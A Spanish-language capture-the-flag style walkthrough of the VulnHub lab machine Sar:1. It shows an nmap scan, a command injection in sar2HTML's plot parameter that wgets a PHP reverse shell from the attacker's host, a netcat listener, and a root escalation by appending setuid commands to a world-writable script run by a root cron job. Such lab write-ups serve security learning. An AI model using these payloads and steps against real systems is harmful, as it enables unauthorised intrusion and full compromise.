[VLN] Sar:1

Hoy vamos a hackear la maquina de Vulnhub llamada Sar:1. Podeis descargarla desde el siguiente enlace: https://www.vulnhub.com/entry/sar-1,425/
  • Enumeration
  • Empezamos con un nmap para ver que puertos tiene abiertos.
    sml@Cassandra:~$ nmap -A -p- 192.168.1.130 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-01 11:09 CEST Nmap scan report for sar.home (192.168.1.130) Host is up (0.00023s latency). Not shown: 65534 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.29 seconds
    Vemos que solo tiene el puerto 80 abierto, miramos el fichero robots.txt
    sml@Cassandra:~$ curl http://192.168.1.130/robots.txt sar2HTML
    Echamos un vistazo a: http://192.168.1.130/sar2HTML/
  • Exploitation
  • Despues de buscar, encontramos el siguiente exploit[1]. Vamos a utilizarlo para descargarnos una webshell (php-reverse-shell) y de ese modo obtener una shell. Para descargarnos la webshell, la ponemos en nuestro server HTTP y visitamos:
    http://192.168.1.130/sar2HTML/index.php?plot=;wget%20http://192.168.1.148/webshe ll.php
    Ejecutamos en nuestra maquina:
    nc -nlvp 5555
    Y por ultimo visitamos:
    http://192.168.1.130/sar2HTML/webshell.php
    Y obtenemos nuestra shell :)
    sml@Cassandra:~$ nc -nlvp 5555 listening on [any] 5555 ... connect to [192.168.1.148] from (UNKNOWN) [192.168.1.130] 57090 Linux sar 5.0.0-23-generic #24~18.04.1-Ubuntu SMP Mon Jul 29 16:12:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 14:51:27 up 17 min, 0 users, load average: 1.00, 0.99, 0.76 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • User.txt
  • Ahora que tenemos la shell, miramos la flag del user.
    $ cd /home $ ls love $ cd love $ cd Desktop $ ls user.txt $ cat user.txt 427a7e47deb4a8649c7cab38df232b52
  • Privilege Escalation
  • Es momento de escalar los privilegios, para ello vemos que en el directorio /var/www/html tenemos 1 fichero llamado finally.sh que es de root.
    $cd /var/www/html $ ls -l total 32 -rwxr-xr-x 1 root root 22 Oct 20 21:18 finally.sh -rw-r--r-- 1 www-data www-data 10918 Oct 20 20:34 index.html -rw-r--r-- 1 www-data www-data 21 Oct 20 21:03 phpinfo.php -rw-r--r-- 1 root root 9 Oct 21 03:10 robots.txt drwxr-xr-x 4 www-data www-data 4096 Apr 1 14:50 sar2HTML -rwxrwxrwx 1 www-data www-data 30 Oct 21 02:00 write.sh
    Vemos el contenido del fichero finally.sh.
    $ cat finally.sh #!/bin/sh ./write.sh
    El script ejecuta al script write.sh, asi que miramos tambien su contenido.
    $ cat write.sh #!/bin/sh touch /tmp/gateway
    Como podemos ver en los permisos, el fichero write.sh si que podemos modificarlo, ahora nos falta ver como root ejecuta finally.sh asi que miramos si hay alguna tarea.
    $cd /etc $ cat crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # */5 * * * * root cd /var/www/html/ && sudo ./finally.sh
    Vemos que hay una tarea que se ejecuta cada 5 minutos, la cual ejecuta como root el script finally.sh, que a su vez ejecuta write.sh. Ya que podemos editar el fichero write.sh vamos a utilizarlo para descargarnos una rootshell[2], darle los permisos adecuados, cambiar propietarios, darle setuid, y asi una vez la ejecutemos, seremos root. Deberemos compilarla en nuestra maquina y descargarnos el binario ya que no se dispone de gcc en la maquina victima.
    $ wget http://192.168.1.148/rootshell --2020-04-01 15:08:25-- http://192.168.1.148/rootshell Connecting to 192.168.1.148:80... connected. HTTP request sent, awaiting response... 200 OK Length: 16720 (16K) [application/octet-stream] Saving to: 'rootshell' 0K .......... ...... 100% 18.9M=0.001s 2020-04-01 15:08:25 (18.9 MB/s) - 'rootshell' saved [16720/16720] $ ls -l rootshell -rw-rw-rw- 1 www-data www-data 16720 Apr 1 2020 rootshell
    Una vez descargada la rootshell, modificamos el script write.sh.
    $ echo "chown root:www-data /var/www/html/rootshell" >> write.sh $ echo "chmod 777 /var/www/html/rootshell" >> write.sh $ echo "chmod +s /var/www/html/rootshell" >> write.sh
    Esperamos 5 minutos y....
    $ ls -l rootshell -rwsrwsrwx 1 root www-data 16720 Apr 1 15:37 rootshell $ ./rootshell id uid=0(root) gid=0(root) groups=0(root),33(www-data) cd /root ls root.txt cat root.txt 66f93d6b2ca96c9ad78a8a9ba0008e99
  • End
  • Y con esto ya seriamos root de la maquina :) [1]https://www.exploit-db.com/exploits/47204 [2]https://github.com/jivoi/pentest/blob/master/shell/rootshell.c